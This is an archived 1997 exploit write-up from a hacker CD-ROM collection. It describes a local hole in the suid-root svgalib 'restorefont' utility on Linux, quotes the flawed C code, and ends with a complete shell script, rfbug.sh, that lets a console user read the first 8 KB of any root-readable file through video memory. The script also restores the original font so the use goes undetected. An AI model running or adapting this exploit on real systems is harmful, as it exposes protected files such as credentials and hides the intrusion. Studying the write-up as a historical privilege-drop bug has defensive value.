home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / linux / linux~11.asc < prev   
Encoding:
Text File  |  1997-03-11  |  3.4 KB  |  81 lines

  1.  
  2.  
  3.  
  4.  
  5.  
  6.  
  7.           Linux 'restorefont' Security Holes
  8.  
  9.                  by FEH Staff
  10.  
  11.  
  12.  
  13.    Linux's svgalib utilities, required to be suid root, have a problem in that
  14.  
  15. they do not revoke suid permissions before reading a file.  This is exploited
  16.  
  17. in the restorefont utility, but similar bugs exist in other svgalib utilities.
  18.  
  19. The restorefont utility serves two functions.  First, it will read a font from
  20.  
  21. a file and write it to the console as the font.  Second, it will read a font
  22.  
  23. from the console and write it out to a file.  Luckily, the specific bug
  24.  
  25. in restorefont can only be exploited if someone is at the console, reducing
  26.  
  27. its overall impact on the security of the system as a whole.
  28.  
  29.    In writing the utilities, the authors are cognizant of the fact that when
  30.  
  31. writing out the font, suid permissions must first be given up; it is in fact
  32.  
  33. commented as such in the code.  However, when reading in a font, the program
  34.  
  35. is still running with full suid root permissions.  This allows us to read in
  36.  
  37. any file for the font that root could access (basically, anything).
  38.  
  39.    The applicable code to read in the file is shown below:
  40.  
  41.  
  42.  
  43. #define FONT_SIZE 8192
  44.  
  45. unsigned char font[FONT_SIZE];
  46.  
  47.  
  48.  
  49.     if (argv[1][1] == 'r') {
  50.  
  51.         FILE *f;
  52.  
  53.         f = fopen(argv[2], "rb");
  54.  
  55.         if (f == NULL) {
  56.  
  57.             error:
  58.  
  59.             perror("restorefont");
  60.  
  61.             exit(1);
  62.  
  63.         }
  64.  
  65.         if(1!=fread(font, FONT_SIZE, 1, f))
  66.  
  67.             {
  68.  
  69.             if(errno)
  70.  
  71.                 goto error;
  72.  
  73.             puts("restorefont: input file corrupted.");
  74.  
  75.             exit(1);
  76.  
  77.             }
  78.  
  79.         fclose(f);
  80.  
  81.  
  82.  
  83.    We can see from this that the file to be read in has to be at least 8k,
  84.  
  85. as if it is not, the program will produce an error and exit.  If the file
  86.  
  87. is at least 8k, the first 8k are read into the buffer, and the program 
  88.  
  89. proceeds to set whatever the contents of the file are to the font:
  90.  
  91.     vga_disabledriverreport();
  92.  
  93.     vga_setchipset(VGA);        /* avoid SVGA detection */
  94.  
  95.     vga_init();
  96.  
  97.     vga_setmode(G640x350x16);
  98.  
  99.     vga_puttextfont(font);
  100.  
  101.     vga_setmode(TEXT);
  102.  
  103.  
  104.  
  105.    At this point, the console will now look quite unreadable if you are
  106.  
  107. reading something other than a font from that file.  But, the data that
  108.  
  109. is put into the font is left untouched and is readable using the -w option
  110.  
  111. of restorefont.  We then read the font back from video memory to a new file,
  112.  
  113. and our job is complete, we have read the first 8k of a file we shouldn't
  114.  
  115. have had access to.  To prevent detection of having run this, we probably
  116.  
  117. shouldn't leave an unreadable font on the screen, so we save and then restore
  118.  
  119. the original font before reading from the file.
  120.  
  121.     The complete exploit is shown below:
  122.  
  123.  
  124.  
  125.                    Program: restorefont, a svgalib utility
  126.  
  127. Affected Operating Systems: linux
  128.  
  129.               Requirements: logged in at console
  130.  
  131.        Security Compromise: user can read first 8k of any file of at least
  132.  
  133.                             8k in size on local filesystems
  134.  
  135.                   Synopsis: restorefont reads a font file while suid root,
  136.  
  137.                             writing it to video memory as the current vga
  138.  
  139.                             font; anyone at console can read the current
  140.  
  141.                             font to a file, allowing you to use video memory
  142.  
  143.                             as an 8k file buffer.
  144.  
  145.  
  146.  
  147. rfbug.sh:
  148.  
  149. #!/bin/sh
  150.  
  151. restorefont -w /tmp/deffont.tmp
  152.  
  153. restorefont -r $1
  154.  
  155. restorefont -w $2
  156.  
  157. restorefont -r /tmp/deffont.tmp
  158.  
  159. rm -f /tmp/deffont.tmp
  160.  
  161.